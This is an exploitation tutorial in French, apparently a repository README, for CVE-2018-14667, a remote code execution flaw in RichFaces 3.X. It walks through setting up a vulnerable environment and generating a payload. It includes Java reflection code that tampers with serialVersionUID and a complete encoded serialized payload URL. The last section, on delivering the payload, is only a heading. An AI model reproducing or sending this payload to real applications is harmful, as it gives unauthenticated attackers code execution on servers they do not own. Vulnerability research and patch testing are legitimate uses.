
Tout sur CVE-2018-14667 ; de ce que c'est à comment l'exploiter avec succès.
Après avoir passé beaucoup de temps à comprendre et à exploiter correctement cette CVE, j'ai décidé de créer un dépôt sur le bug RCE de RichFaces 3.X et de partager les procédures pas à pas avec la communauté.
0x00 : Introduction sur le bug de RichFaces 3.X
Le lundi 19 novembre, Joao F M Figueiredo a publié un article très détaillé (https://seclists.org/fulldisclosure/2018/Nov/47) sur une vulnérabilité critique à haut risque de RichFaces.
Score de base CVSS3 9.8
Cette vulnérabilité permettra à tout utilisateur non authentifié d'exécuter du code à distance sur toute application web utilisant RichFaces 3.X (toutes versions), ce qui est pratiquement le pire des cas.
0x01 : Suis-je concerné ? ![]()
Eh bien, si vous utilisez RichFaces 3.X (toute version de RichFaces 3) et que vous voyez le code suivant dans votre source, il y a de fortes chances que vous soyez vulnérable à l'exécution de code à distance via CVE-2018-14667 :
0x02 : Exécution d'un environnement vulnérable pour tester le bug ![]()
Je vais essentiellement réexpliquer ce qui a déjà été couvert dans l'article de seclists.org sur le déploiement d'un environnement vulnérable.
0x03 : Génération d'une charge utile valide ![]()
Maintenant la partie amusante ! C'est là que j'ai rencontré des difficultés, donc je vais expliquer en détail comment générer une charge utile valide sans répéter les mêmes erreurs que j'ai faites. Je suggère d'utiliser Eclipse pour compiler la charge utile.
// Class clazz = Class.forName("javax.el.MethodExpression");
// Field field = clazz.getField("serialVersionUID");
// field.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setLong(null, MethodExpressionSerialVersionUID);
Le résultat de votre sortie dans Eclipse devrait ressembler à ceci :
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
0x04 : Envoi de votre charge utile et obtention d'exécution de code à distance ![]()